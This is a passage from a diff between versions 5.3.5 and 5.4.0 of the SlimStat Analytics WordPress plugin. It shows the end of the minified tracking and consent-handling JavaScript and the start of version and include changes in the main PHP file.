j=w.getAttribute(\"id\");j&&(P.id=j)}P.type=r.type,r.type===\"keypress\"?P.key=String.fromCharCode(parseInt(r.which,10)):r.type===\"mousedown\"&&(P.button=r.which===1?\"left\":r.which===2?\"middle\":\"right\");var V=m.dnt?m.dnt.split(\",\"):[];if(x&&V.length&&se(x,V))return!1;if(V.length&&w.className&&typeof w.className==\"string\"){var W=w.className.split(\" \");if(W.some(function(ke){return V.indexOf(ke)!==-1}))return!1}if(V.length&&w.attributes&&w.attributes.rel&&w.attributes.rel.value&&se(w.attributes.rel.value,V))return!1;var B=\"0,0\";!T(r.pageX)&&!T(r.pageY)?B=r.pageX+\",\"+r.pageY:T(r.clientX)||(B=r.clientX+(document.body.scrollLeft||0)+(document.documentElement.scrollLeft||0)+\",\"+(r.clientY+(document.body.scrollTop||0)+(document.documentElement.scrollTop||0)));var J=x?\"&fh=\"+t:\"\",q=\"&res=\"+ee(x)+\"&pos=\"+B+\"&no=\"+ee(JSON.stringify(P))+J,Z=\"action=slimtrack&id=\"+m.id+q,Ee=Date.now();if(Z===f&&Ee-p\u003C1e3)return!1;f=Z,p=Ee;var Re=I(Z,o);if(Re)try{window.__slimstatHasInteraction=!0}catch{}return Re}function X(r,s){var o=r&&(r.target||r.srcElement)||{},m=\"\";try{o.href&&(m=o.href)}catch{}var S={type:r?r.type:\"unknown\"};s&&(S.note=s);var w=\"0,0\";return r&&!T(r.pageX)&&!T(r.pageY)&&(w=r.pageX+\",\"+r.pageY),\"&res=\"+ee(m)+\"&pos=\"+w+\"&no=\"+ee(JSON.stringify(S))}var ue={},ae=null,te=\"slimstat_consent_upgrade_state\",ge=\"slimstat_consent_upgrade_ts\";function ye(r){try{return sessionStorage.getItem(r)||\"\"}catch{return window[r]||\"\"}}function fe(r,s){try{s===\"\"||s===null||typeof s>\"u\"?sessionStorage.removeItem(r):sessionStorage.setItem(r,s)}catch{s===\"\"||s===null||typeof s>\"u\"?delete window[r]:window[r]=s}}function me(){fe(te,\"pending\"),fe(ge,Date.now().toString())}function he(r){r?(fe(te,\"done\"),fe(ge,Date.now().toString())):(fe(te,\"\"),fe(ge,\"\"))}function Nt(){return ye(te)===\"done\"}function Ft(r){if(r===!0)return me(),!0;var s=ye(te);if(s===\"done\")return!1;if(s===\"pending\"){var o=parseInt(ye(ge)||\"0\",10);if(Date.now()-o\u003C5e3)return!1}return me(),!0}function Ot(r){r=r||{};var s=r.force===!0;if(!Ft(s))return!1;var o={isConsentRetry:!0,consentUpgrade:!0};return r.consent&&(o.consent=r.consent),r.consentNonce&&(o.consentNonce=r.consentNonce),R._send_pageview(o),!0}function be(r){return typeof r==\"function\"}function ie(r){return r!==null&&typeof r==\"object\"}function Qe(r){if(!r)return null;try{var s=r.replace(\u002F([.$?*|{}()\\[\\]\\\\\\\u002F\\+^])\u002Fg,\"\\\\$1\"),o=\"(?:^|;)\\\\s*\"+s+\"=([^;]*)\",m=document.cookie.match(o);return m?decodeURIComponent(m[1]):null}catch{return null}}function Mt(r){try{if(be(window.rcb))try{var s=window.rcb(\"consent\",r);if(s===!0||s===!1)return!!s;if(ie(s)&&\"cookie\"in s)return!!s.cookie;if(ie(s)&&\"consent\"in s)return!!s.consent}catch{}if(ie(window.RCB)&&ie(window.RCB.consent)&&be(window.RCB.consent.get)){var o=window.RCB.consent.get(r);if(o===!0||o===!1)return!!o;if(ie(o)&&\"cookie\"in o)return!!o.cookie;if(ie(o)&&\"consent\"in o)return!!o.consent}if(ie(window.rcbConsentManager)&&be(window.rcbConsentManager.getUserDecision)){var m=window.rcbConsentManager.getUserDecision();if(m&&m.decision){if(m.decision===\"all\")return!0;if(typeof m.decision==\"object\"){var S=m.decision[r];if(typeof S==\"boolean\")return S;if(Array.isArray(S))return S.length>0}}}var w=window.realCookieBanner||window.RealCookieBanner||null;if(ie(w)&&ie(w.consent)&&be(w.consent.get)){var P=w.consent.get(r);if(P===!0||P===!1)return!!P;if(ie(P)&&\"cookie\"in P)return!!P.cookie;if(P)return!0}var x=window.__rcb||window.__RCB||null;if(ie(x)&&x.consent){var E=x.consent[r];if(typeof E==\"boolean\")return E;if(Array.isArray(E))return E.length>0}for(var L=[\"real_cookie_banner\",\"rcb_consent\",\"rcb_acceptance\",\"real_cookie_consent\",\"rcb-consent\"],j=0;j\u003CL.length;j++){var V=Qe(L[j]);if(V)try{var W=JSON.parse(V);if(W){if(typeof W[r]==\"boolean\")return W[r];if(typeof W.consent==\"boolean\")return W.consent;if(typeof W[r]==\"object\"&&W[r].cookie!==void 0)return!!W[r].cookie}}catch{var B=V.toLowerCase();if(V.indexOf(r)!==-1||V===\"1\"||B===\"true\"||B===\"all\"||B===\"accepted\")return!0}}}catch{}return null}function Ke(r){try{if(be(window.wp_has_service_consent))try{var s=window.wp_has_service_consent(r);if(s)return!0;if(be(window.wp_is_service_denied)&&window.wp_is_service_denied(r))return!1}catch{}if(be(window.wp_has_consent))try{var o=window.wp_has_consent(r);return!!o}catch{}var m=window.wpConsent||window.WPConsent||null;if(ie(m)&&be(m.get)){var S=m.get(r);if(S===!0||S===!1)return!!S}}catch{}return null}function jt(r,s){try{var o=r||\"slimstat_gdpr_consent\",m=Qe(o);if(!m)return null;if(m===\"accepted\")return!0;if(m===\"denied\")return!1;try{var S=JSON.parse(m);if(S&&S[s]!==void 0)return!!S[s]}catch{}return m.length>0}catch{return null}}function Vt(r){var s={functional:\"deny\",statistics:\"deny\",statistics_anonymous:\"deny\",marketing:\"deny\"};if(typeof r==\"boolean\")return s.statistics=r?\"allow\":\"deny\",s;if(typeof r==\"string\")return r===\"accepted\"||r===\"allow\"||r===\"grant\"?s.statistics=\"allow\":(r===\"denied\"||r===\"deny\"||r===\"revoke\")&&(s.statistics=\"deny\"),s;if(!ie(r)&&!Array.isArray(r))return s;var o=r;if(Array.isArray(r)&&(o={allowed:r}),Array.isArray(o.allowed)){for(var m=0;m\u003Co.allowed.length;m++){var S=o.allowed[m];s.hasOwnProperty(S)&&(s[S]=\"allow\")}return s}if(Array.isArray(o.denied))for(var w=0;w\u003Co.denied.length;w++){var P=o.denied[w];s.hasOwnProperty(P)&&(s[P]=\"deny\")}for(var x=[\"functional\",\"statistics\",\"statistics_anonymous\",\"marketing\"],E=0;E\u003Cx.length;E++){var L=x[E];if(o[L]!==void 0)typeof o[L]==\"boolean\"?s[L]=o[L]?\"allow\":\"deny\":typeof o[L]==\"string\"&&(s[L]=[\"allow\",\"accepted\",\"grant\",\"true\"].indexOf(o[L])!==-1?\"allow\":\"deny\");else if(o.groups&&o.groups[L]!==void 0){var j=o.groups[L];typeof j==\"boolean\"?s[L]=j?\"allow\":\"deny\":typeof j==\"string\"&&(s[L]=[\"allow\",\"accepted\",\"grant\",\"true\"].indexOf(j)!==-1?\"allow\":\"deny\")}else if(o.decision!==void 0){if(o.decision===\"all\")s[L]=\"allow\";else if(ie(o.decision)&&o.decision[L]!==void 0){var V=o.decision[L];typeof V==\"boolean\"?s[L]=V?\"allow\":\"deny\":typeof V==\"string\"&&(s[L]=[\"allow\",\"accepted\",\"grant\",\"true\"].indexOf(V)!==-1?\"allow\":\"deny\")}}}return s}function Wt(r,s,o){try{var m=N(),S=m.wp_rest_nonce||\"\",w=\"\";if(m.resturl)w=m.resturl;else if(typeof window.wpApiSettings\u003C\"u\"&&window.wpApiSettings.root)w=window.wpApiSettings.root;else{var P=window.location.origin;if(m.baseurl&&m.baseurl!==\"\u002F\"){var x=m.baseurl.replace(\u002F\\\u002F$\u002F,\"\");w=P+x+\"\u002Fwp-json\u002F\"}else w=P+\"\u002Fwp-json\u002F\"}w&&w.charAt(w.length-1)!==\"\u002F\"&&(w+=\"\u002F\");var E=w+\"slimstat\u002Fv1\u002Fconsent-change\",L={source:r,parsed:s,ts:Date.now(),mode:{gdprEnabled:m.gdpr_enabled!==\"off\",anonymousTrackingEnabled:m.anonymous_tracking===\"on\"},nonce:S};if(o&&(L.pageview_id=String(o)),typeof window.fetch==\"function\")fetch(E,{method:\"POST\",headers:{\"Content-Type\":\"application\u002Fjson\",\"X-WP-Nonce\":S},credentials:\"same-origin\",body:JSON.stringify(L)}).then(function(V){if(V.ok)return V.json()}).catch(function(){});else{var j=new XMLHttpRequest;j.open(\"POST\",E,!0),j.setRequestHeader(\"Content-Type\",\"application\u002Fjson\"),j.setRequestHeader(\"X-WP-Nonce\",S),j.onload=function(){if(j.status>=200&&j.status\u003C300)try{var V=JSON.parse(j.responseText)}catch{}},j.onerror=function(){},j.send(JSON.stringify(L))}}catch{}}function $e(r){if(r)try{var s=new CustomEvent(\"slimstat:consent:updated\",{detail:r});document.dispatchEvent(s)}catch{try{var o=document.createEvent(\"CustomEvent\");o.initCustomEvent(\"slimstat:consent:updated\",!0,!0,r),document.dispatchEvent(o)}catch{}}}function Ce(r){if(r){var s=r.allowed+\"|\"+r.mode+\"|\"+r.reason;if(s!==ae){ae=s;var o=N(),m=o.id&&parseInt(o.id,10)>0;m&&$e(r)}}}function et(r,s){s=s||{};var o=r||{},m=o.gdpr_enabled!==\"off\",S=o.anonymous_tracking===\"on\",w=o.set_tracker_cookie===\"on\",P=o.anonymize_ip===\"on\",x=o.hash_ip===\"on\",E=o.consent_integration||\"\",L=o.consent_level_integration||\"statistics\";try{var j=o.respect_dnt===\"on\";if(j&&typeof navigator\u003C\"u\"&&(navigator.doNotTrack===\"1\"||navigator.doNotTrack===\"yes\")){var V={allowed:!1,mode:\"blocked\",reason:\"dnt\"};return Ce(V),V}}catch{}if(!m){if(S){var W={allowed:!0,mode:\"anonymous\",reason:\"gdpr_disabled_anonymous_mode\"};return Ce(W),W}var B={allowed:!0,mode:\"full\",reason:\"gdpr_disabled\"};return Ce(B),B}var J=!!(w||!P&&!x),q=J||S,Z=null;if(q){if(E===\"wp_consent_api\"||E===\"wpconsent\"||E===\"wp_consent\"||E===\"\"){var Ee=Ke(L);Ee!==null&&(Z=Ee),Z===null&&o.server_side_consent!==void 0&&(Z=!!o.server_side_consent),E===\"\"&&Z===null&&(Z=!0)}if(Z===null&&(E===\"real_cookie_banner\"||E===\"rcb\"||E===\"realcookie\")){var Re=Mt(L);if(Re!==null)Z=Re;else if(s.isConsentRetry){var ke=Ke(L);ke!==null&&(Z=ke)}}if(Z===null&&(E===\"slimstat_banner\"||E===\"slimstat\")){var Oe=o.gdpr_cookie_name||\"slimstat_gdpr_consent\",Q=jt(Oe,L);Q!==null&&(Z=Q)}Z===null&&(S?Z=!0:J&&E&&E!==\"\"?Z=!1:Z=!0),Z!==!0&&Nt()&&(Z=!0)}if(S){var tt=Z===!0,nt={allowed:!0,mode:tt?\"full\":\"anonymous\",reason:tt?\"anonymous_mode_consented\":\"anonymous_mode\"};return Ce(nt),nt}if(!J){var rt={allowed:!0,mode:\"full\",reason:\"no_pii\"};return Ce(rt),rt}if(Z===!1){var it={allowed:!1,mode:\"blocked\",reason:\"cmp_denied\"};return Ce(it),it}var at={allowed:!0,mode:\"full\",reason:\"cmp_allowed\"};return Ce(at),at}function Dt(r){if(!T(r.id)&&parseInt(r.id,10)>0)return\"action=slimtrack&id=\"+r.id;var s=\"action=slimtrack&ref=\"+ee(document.referrer)+\"&res=\"+ee(window.location.href);return T(r.ci)||(s+=\"&ci=\"+r.ci),s}function Gt(r){r=r||{},C();var s=\"slimstat_pageview_\"+(r.isNavigation?\"nav\":\"init\")+\"_\"+(r.isConsentRetry?\"retry\":\"normal\");if(!(window.sendingSlimStatPageview||window[s])){window.sendingSlimStatPageview=!0,window[s]=!0;var o=N(),m=\"\";r.consentUpgrade&&(m=\"&consent_upgrade=1\",o.id&&(m+=\"&pageview_id=\"+encodeURIComponent(o.id)));var S=et(o,{isNavigation:!!r.isNavigation,isConsentRetry:!!r.isConsentRetry});if(!S.allowed){window.sendingSlimStatPageview=!1,delete window[s];return}r.consentUpgrade&&S.mode===\"full\"&&(m=\"&consent_upgrade=1\",o.id&&(m+=\"&pageview_id=\"+encodeURIComponent(o.id)));var w=r.isNavigation||!1,P=r.isConsentRetry||!1;if(!w&&!P&&!T(o.id)&&parseInt(o.id,10)>0){window.sendingSlimStatPageview=!1,delete window[s];return}w&&(o.id=null);var x=Dt(o);if(!x){window.sendingSlimStatPageview=!1,delete window[s];return}if(z){window.sendingSlimStatPageview=!1,delete window[s];return}var E=Date.now();if(x===n&&E-i\u003C150){window.sendingSlimStatPageview=!1,delete window[s];return}n=x,i=E;var L=R.empty(o.id)||parseInt(o.id,10)\u003C=0,j=!L;if(c&&L){window.sendingSlimStatPageview=!1,delete window[s];return}c=L,z=!0;var V=function(){setTimeout(function(){c=!1,z=!1,window.sendingSlimStatPageview=!1,delete window[s]},200)},W=function(J){r.consentUpgrade&&handleConsentUpgradeResult(!!J),V()};r.consent&&(r.consent===\"accepted\"||r.consent===\"denied\")&&(m+=\"&banner_consent=\"+encodeURIComponent(r.consent),r.consentNonce&&(m+=\"&banner_consent_nonce=\"+encodeURIComponent(r.consentNonce)));var B=function(){if(S.mode===\"anonymous\"){b(null),I(x+y({})+m,j,{immediate:T(o.id),onComplete:W});return}try{var J=null;typeof Ge\u003C\"u\"&&Ge.load&&(J=Ge.load()),J&&typeof J.then==\"function\"?J.then(function(q){b(q),I(x+y(q.components||{})+m,j,{immediate:T(o.id),onComplete:W})}).catch(function(){b(null),I(x+y({})+m,j,{immediate:T(o.id),onComplete:W})}):(b(null),I(x+y({})+m,j,{immediate:T(o.id),onComplete:W}))}catch{b(null),I(x+y({})+m,j,{immediate:T(o.id),onComplete:W})}};window.requestIdleCallback?window.requestIdleCallback(B):setTimeout(B,250)}}function Zt(r){try{var s=k();s.push({p:r,t:Date.now()}),G(s)}catch{}}function Ht(){try{var r=k();if(!r.length)return;var s=N();if(!s.id||parseInt(s.id,10)\u003C=0)return;for(var o=5,m=0,S=[],w=0;w\u003Cr.length&&m\u003Co;w++){var P=r[w];if(P&&P.p){var x=P.p;x.indexOf(\"id=pending\")!==-1&&(x=x.replace(\"id=pending\",\"id=\"+s.id)),I(x,!1,{priority:\"normal\"})&&(S.push(w),m++)}}if(S.length>0){for(var E=S.length-1;E>=0;E--)r.splice(S[E],1);G(r)}}catch{}}return{base64_key_str:e,get fingerprint_hash(){return t},set fingerprint_hash(r){t=r},utf8_encode:$,base64_encode:ee,get_page_performance:g,get_server_latency:Se,add_event:Le,in_array:se,empty:T,get_cookie:O,send_to_server:I,ss_track:A,init_fingerprint_hash:b,get_slimstat_data:y,get_component_value:h,store_offline:Zt,flush_offline_queue:Ht,consent:{checkAllowed:et,emit:$e,normalize:Vt,sendChange:Wt},requestConsentUpgrade:Ot,_extract_params:C,_send_pageview:Gt,_assign_runtime_helpers:function(r){_=r.pendingInteractions,k=r.loadOfflineQueue,G=r.saveOfflineQueue,N=r.currentSlimStatParams,z=r.pageviewInProgress}}})();window.SlimStat=R;Element.prototype.matches||(Element.prototype.matches=Element.prototype.matchesSelector||Element.prototype.mozMatchesSelector||Element.prototype.msMatchesSelector||Element.prototype.oMatchesSelector||Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),n=t.length;--n>=0&&t.item(n)!==this;);return n>-1});String.prototype.trim||(String.prototype.trim=function(){return this.replace(\u002F^\\s+|\\s+$\u002Fg,\"\")});Array.isArray||(Array.isArray=function(e){return Object.prototype.toString.call(e)===\"[object Array]\"});window.requestIdleCallback||(window.requestIdleCallback=function(e){return setTimeout(e,250)});(function(){var t=[],n=\"slimstat_offline_queue\",i=!1;function c(g){return typeof g==\"function\"}function a(g){return g!==null&&typeof g==\"object\"}function u(g){if(!g)return null;try{var h=g.replace(\u002F([.$?*|{}()\\[\\]\\\\\\\u002F\\+^])\u002Fg,\"\\\\$1\"),C=\"(?:^|;)\\\\s*\"+h+\"=([^;]*)\",b=document.cookie.match(C);return b?decodeURIComponent(b[1]):null}catch{return null}}function v(){try{var g=localStorage.getItem(n);if(!g)return[];var h=JSON.parse(g);return Array.isArray(h)?h:[]}catch{return[]}}function d(g){try{localStorage.setItem(n,JSON.stringify(g.slice(-200)))}catch{}}function f(){return window.SlimStatParams||(window.SlimStatParams={}),window.SlimStatParams}R._assign_runtime_helpers({pendingInteractions:t,loadOfflineQueue:v,saveOfflineQueue:d,currentSlimStatParams:f,pageviewInProgress:i});var p=R.requestConsentUpgrade||function(){return!1},l={},_={},k=!1,G=\"\",N=0,z=1e3;try{typeof window.__slimstatHasInteraction>\"u\"&&(window.__slimstatHasInteraction=!1)}catch{}try{typeof window.sendingSlimStatPageview>\"u\"&&(window.sendingSlimStatPageview=!1),typeof window.slimstatPageviewTracked>\"u\"&&(window.slimstatPageviewTracked=!1)}catch{}function F(g){var h=f();if(!(!h.id||parseInt(h.id,10)\u003C=0||l[h.id]||_[h.id])){var C=Date.now();if(!(k||g===G&&C-N\u003Cz)){k=!0,G=g,N=C,_[h.id]=!0;var b=\"action=slimtrack&id=\"+h.id+(g?\"&fv=\"+encodeURIComponent(g):\"\");R.send_to_server(b,!0,{priority:\"high\",immediate:!1}),l[h.id]=!0,setTimeout(function(){delete _[h.id],k=!1},120)}}}var Y=JSON.stringify(f()),K=new MutationObserver(function(){var g=f();if(R.empty(g.id)||parseInt(g.id,10)\u003C=0){R._extract_params();var h=JSON.stringify(f());h!==Y&&(Y=h)}});if(K.observe(document.head,{childList:!0,subtree:!0}),K.observe(document.body,{childList:!0,subtree:!0}),R.add_event(window,\"load\",function(){R._extract_params(),R._send_pageview(),setTimeout(function(){try{navigator.onLine!==!1&&R.flush_offline_queue()}catch{}},500)}),document.addEventListener(\"wp_listen_for_consent_change\",function(g){try{var h=g&&g.detail||{},C=f(),b=C.consent_level_integration||\"statistics\",y=\"slimstatConsentRetried_\"+b;h[b]&&h[b]===\"allow\"&&(!window[y]||window[y]===!1)&&(window[y]=!0,R._send_pageview({consentUpgrade:!0}))}catch{}}),typeof window.wp_listen_for_consent_change==\"function\")try{window.wp_listen_for_consent_change(function(g){var h=f(),C=h.consent_level_integration||\"statistics\",b=\"slimstatConsentRetried_\"+C;g===C&&(!window[b]||window[b]===!1)&&(window[b]=!0,R._send_pageview({consentUpgrade:!0}))})}catch{}document.addEventListener(\"wp_consent_type_defined\",function(){try{var g=f(),h=g.consent_level_integration||\"statistics\",C=\"slimstatConsentRetried_\"+h;window[C]||(typeof window.wp_has_consent==\"function\"?window.wp_has_consent(h)&&(window[C]=!0,R._send_pageview({consentUpgrade:!0})):(window[C]=!0,R._send_pageview({consentUpgrade:!0})))}catch{}}),document.addEventListener(\"wp_consent_change\",function(g){if(g.detail&&g.detail.category){var h=g.detail.category,C=f(),b=C.consent_level_integration||\"statistics\",y=\"slimstatConsentRetried_\"+b,I=window[y]||!1,H=!I&&h===b&&(!C.id||parseInt(C.id,10)\u003C=0);if(H){if(typeof window.wp_has_consent==\"function\"&&!window.wp_has_consent(b))return;window[y]=!0,R._send_pageview({consentUpgrade:!0})}if(h===b)try{var M=!1;typeof window.wp_has_consent==\"function\"?M=window.wp_has_consent(b):g.detail.consent!==void 0&&(M=g.detail.consent===!0||g.detail.consent===\"allow\"),M||markConsentUpgradeDone(!1);var A=normalizeConsent({statistics:M?\"allow\":\"deny\"}),X=null;C.id&&parseInt(C.id,10)>0&&(X=parseInt(C.id,10)),sendConsentChangeToServer(\"wp_consent_api\",A,X)}catch{}}});function $(g){var h=f(),C=h.consent_level_integration||\"statistics\",b=h.consent_integration||\"\";if(typeof window.wp_has_consent==\"function\")try{var y=window.wp_has_consent(C);if(!y)return}catch{return}if(b===\"real_cookie_banner\"||b===\"rcb\"||b===\"realcookie\"){var I=detectRealCookieBannerConsent(C);if(I===!1)return}p(g||{})}(function(){document.addEventListener(\"cmplz_enable_category\",function(y){var I=f(),H=I.consent_level_integration||\"statistics\",M=y&&y.detail&&(y.detail.category||y.detail)||\"\";M===H&&$()}),document.addEventListener(\"cmplz_event_status\",function(y){var I=f(),H=I.consent_level_integration||\"statistics\",M=y&&y.detail||{},A=M.category||M.type||\"\",X=M.status===\"allow\"||M.enabled===!0;A===H&&X&&$()});var h=null,C=0;function b(y){var I=Date.now(),H=f(),M=H.consent_integration||\"\";if(!(M!==\"real_cookie_banner\"&&M!==\"rcb\"&&M!==\"realcookie\")){var A=H.consent_level_integration||\"statistics\",X=!1,ue=null;if(y&&y.detail){if(y.detail.consent&&A in y.detail.consent){var ae=y.detail.consent[A];typeof ae==\"boolean\"?(X=ae,ue=y.detail.consent):ae&&ae.cookie!==null&&(X=!0,ue=y.detail.consent)}else if(y.detail.button&&(y.detail.button===\"accept_all\"||y.detail.button===\"accept_essentials\"||y.detail.button===\"save\")){var te=R.consent.checkAllowed(H,{});X=te&&te.allowed&&te.mode===\"full\",y.detail.consent&&(ue=y.detail.consent)}}!X&&typeof window.wp_has_consent==\"function\"&&(X=!!window.wp_has_consent(A));try{var ge=normalizeConsent(ue||{statistics:X}),ye=null;H.id&&parseInt(H.id,10)>0&&(ye=parseInt(H.id,10)),sendConsentChangeToServer(\"real_cookie_banner\",ge,ye)}catch{}if(!X){var te=R.consent.checkAllowed(H,{});X=te&&te.allowed&&te.mode===\"full\"}if(X){clearTimeout(h);var fe=I-C,me=fe\u003C100?100-fe:0;h=setTimeout(function(){var he=f();!he.id||parseInt(he.id,10)\u003C=0?$():R.requestConsentUpgrade()},me),C=I}}}document.addEventListener(\"RealCookieBannerConsentChanged\",b),document.addEventListener(\"rcb-consent-changed\",b),document.addEventListener(\"rcb-consent-update\",b),document.addEventListener(\"rcb-consent-saved\",b),document.addEventListener(\"cookieyes_consent_update\",function(){setTimeout($,50)}),document.addEventListener(\"cookieyes_preferences_update\",function(){setTimeout($,50)}),document.addEventListener(\"cli_consent_update\",function(){setTimeout($,50)})})(),R.add_event(document,\"visibilitychange\",function(){var g=f();document.visibilityState===\"hidden\"&&g.id&&parseInt(g.id,10)>0&&T(\"visibility\")}),R.add_event(window,\"pagehide\",function(){var g=f();g.id&&parseInt(g.id,10)>0&&T(\"pagehide\")}),R.add_event(window,\"beforeunload\",function(){var g=f();g.id&&parseInt(g.id,10)>0&&T(\"beforeunload\")});var ee=null;function T(g){var h=f();!h.id||l[h.id]||(ee&&clearTimeout(ee),ee=setTimeout(function(){F(g)},50))}R.add_event(window,\"online\",function(){R.flush_offline_queue(),flushPendingInteractions()}),R.add_event(window,\"beforeunload\",function(){var g=f();if((!g.id||parseInt(g.id,10)\u003C=0)&&t.length>0){var h=v();t.forEach(function(C){var b=\"action=slimtrack&id=pending\"+C;h.push({p:b,t:Date.now()})}),d(h),t.length=0}});function se(){R.add_event(document.body,\"click\",function(g){for(var h=g.target;h&&h!==document.body&&!(h.hasAttribute&&h.hasAttribute(\"data-consent\"));){if(h.matches&&h.matches(\"a,button,input,area\")){R.ss_track(g,null,null);break}h=h.parentNode}})}function O(){if(R.add_event(document,\"wp-interactivity:navigate\",function(){if(!i){var b=window.location.pathname,y=window.location.search;setTimeout(function(){var I=window.location.pathname,H=window.location.search;if(I!==b||H!==y){var M=f();M.id&&parseInt(M.id,10)>0&&T(\"navigation\"),R._send_pageview({isNavigation:!0})}},150)}}),window.history&&history.pushState){var g=history.pushState,h=history.replaceState,C=function(b){var y=window.location.pathname,I=window.location.search,H=b?h:g,M=Array.prototype.slice.call(arguments,1),A=H.apply(this,M);return setTimeout(function(){var X=window.location.pathname,ue=window.location.search;if(X!==y||ue!==I){var ae=f();ae.id&&parseInt(ae.id,10)>0&&T(\"history\"),R._send_pageview({isNavigation:!0})}},150),A};history.pushState=function(){var b=Array.prototype.slice.call(arguments);return b.unshift(!1),C.apply(this,b)},history.replaceState=function(){var b=Array.prototype.slice.call(arguments);return b.unshift(!0),C.apply(this,b)},R.add_event(window,\"popstate\",function(){i||setTimeout(function(){f().id=null,R._send_pageview({isNavigation:!0})},150)})}}se(),O();function Le(){var g=[\"RCB\u002FOptIn\",\"RCB\u002FOptIn\u002FAll\",\"cookieyes_consent_update\",\"cookieyes_preferences_update\",\"cli_consent_update\",\"wp_listen_load\",\"wp_consent_type_functional\",\"wp_consent_type_statistics\",\"slimstat_banner_consent\"];g.forEach(function(h){document.addEventListener(h,function(C){p(C)})}),document.addEventListener(\"slimstat:consent:updated\",function(h){h&&h.detail&&h.detail.allowed&&h.detail.mode===\"full\"&&p()}),R.requestConsentUpgrade=p}function Se(){var g=!1;function h(){if(!g){var b=f();if(!(!b||b.use_slimstat_banner!==\"on\")){var y=document.getElementById(\"slimstat-gdpr-banner\");if(y){g=!0,setTimeout(function(){y&&y.classList?y.classList.add(\"show\"):y&&(y.style.display=\"block\")},50);for(var I=y.querySelectorAll(\"[data-consent]\"),H=0;H\u003CI.length;H++)(function(M){M.addEventListener?M.addEventListener(\"click\",function(A){A&&typeof A.preventDefault==\"function\"&&A.preventDefault(),A&&typeof A.stopPropagation==\"function\"&&A.stopPropagation();var X=M.getAttribute(\"data-consent\")||\"\";C(X,y)},!1):M.attachEvent?M.attachEvent(\"onclick\",function(A){A&&typeof A.preventDefault==\"function\"&&A.preventDefault(),A&&typeof A.stopPropagation==\"function\"&&A.stopPropagation();var X=M.getAttribute(\"data-consent\")||\"\";C(X,y)}):M.onclick=function(A){A&&typeof A.preventDefault==\"function\"&&A.preventDefault(),A&&typeof A.stopPropagation==\"function\"&&A.stopPropagation();var X=M.getAttribute(\"data-consent\")||\"\";C(X,y)}})(I[H])}}}}function C(b,y){if(!(!b||b!==\"accepted\"&&b!==\"denied\")){var I=f(),H=I.wp_rest_nonce||\"\",M=I.gdpr_cookie_name||\"slimstat_gdpr_consent\",A=I.gdpr_cookie_path||I.baseurl||\"\u002F\";try{var X=new Date;X.setTime(X.getTime()+365*24*60*60*1e3);var ue=M+\"=\"+b+\"; path=\"+A+\"; expires=\"+X.toUTCString()+\"; SameSite=Lax\";window&&window.location&&window.location.protocol===\"https:\"&&(ue+=\"; Secure\"),document.cookie=ue}catch{}if(y&&y.classList?(y.classList.remove(\"show\"),y.classList.add(\"hiding\")):y&&(y.style.transition=\"transform 0.3s ease-out, opacity 0.3s ease-out\",y.style.transform=\"translateY(100%)\",y.style.opacity=\"0\"),setTimeout(function(){y&&y.parentNode&&y.parentNode.removeChild(y)},350),b===\"accepted\"){try{if(typeof CustomEvent==\"function\")document.dispatchEvent(new CustomEvent(\"slimstat_banner_consent\",{detail:{consent:b}}));else{var ae=document.createEvent(\"Event\");ae.initEvent(\"slimstat_banner_consent\",!0,!0),document.dispatchEvent(ae)}}catch{}try{var te=normalizeConsent(b),ge=null;I.id&&parseInt(I.id,10)>0&&(ge=parseInt(I.id,10)),sendConsentChangeToServer(\"slimstat_banner\",te,ge)}catch{}try{p({consent:b,consentNonce:H})}catch{}}else if(b===\"denied\"){try{var ye=normalizeConsent(b);sendConsentChangeToServer(\"slimstat_banner\",ye,null)}catch{}try{var fe=I.ajaxurl||\"\u002Fwp-admin\u002Fadmin-ajax.php\",me=new XMLHttpRequest;me.open(\"POST\",fe,!0),me.setRequestHeader(\"Content-Type\",\"application\u002Fx-www-form-urlencoded\"),me.send(\"action=slimstat_consent_revoked&nonce=\"+encodeURIComponent(H)),me.onload=function(){},me.onerror=function(){}}catch{}}}}document.readyState&&document.readyState!==\"loading\"&&h(),document.addEventListener?(document.addEventListener(\"DOMContentLoaded\",h,!1),window.addEventListener(\"load\",h,!1)):document.attachEvent?(document.attachEvent(\"onreadystatechange\",function(){document.readyState===\"complete\"&&h()}),window.attachEvent(\"onload\",h)):(document.readyState===\"complete\"&&h(),window.onload=h)}Se(),Le()})();})();\n+\u002F\u002F# sourceMappingURL=wp-slimstat.min.js.map\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0: wp-slimstat.min.js.map\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fwp-slimstat.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fwp-slimstat.php\t2025-12-31 08:45:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fwp-slimstat.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -3,7 +3,7 @@\n  * Plugin Name: SlimStat Analytics\n  * Plugin URI: https:\u002F\u002Fwp-slimstat.com\u002F\n  * Description: The leading web analytics plugin for WordPress\n- * Version: 5.3.5\n+ * Version: 5.4.0\n  * Author: Jason Crouse, VeronaLabs\n  * Text Domain: wp-slimstat\n  * Domain Path: \u002Flanguages\n@@ -14,17 +14,13 @@\n  * Requires PHP: 7.4\n *\u002F\n \n-if (!empty(wp_slimstat::$settings)) {\n-    return true;\n-}\n-\n \u002F\u002F check if composer autoloader exists\n if (!file_exists(__DIR__ . '\u002Fvendor\u002Fautoload.php')) {\n     return;\n }\n \n \u002F\u002F Set the plugin version and directory\n-define('SLIMSTAT_ANALYTICS_VERSION', '5.3.5');\n+define('SLIMSTAT_ANALYTICS_VERSION', '5.4.0');\n define('SLIMSTAT_FILE', __FILE__);\n define('SLIMSTAT_DIR', __DIR__);\n define('SLIMSTAT_URL', plugins_url('', __FILE__));\n@@ -32,6 +28,29 @@\n \u002F\u002F include the autoloader if it exists\n require_once __DIR__ . '\u002Fvendor\u002Fautoload.php';\n \n+\u002F\u002F Include Constants.php to make SLIMSTAT_ANALYTICS_DIR available to traits\n+require_once __DIR__ . 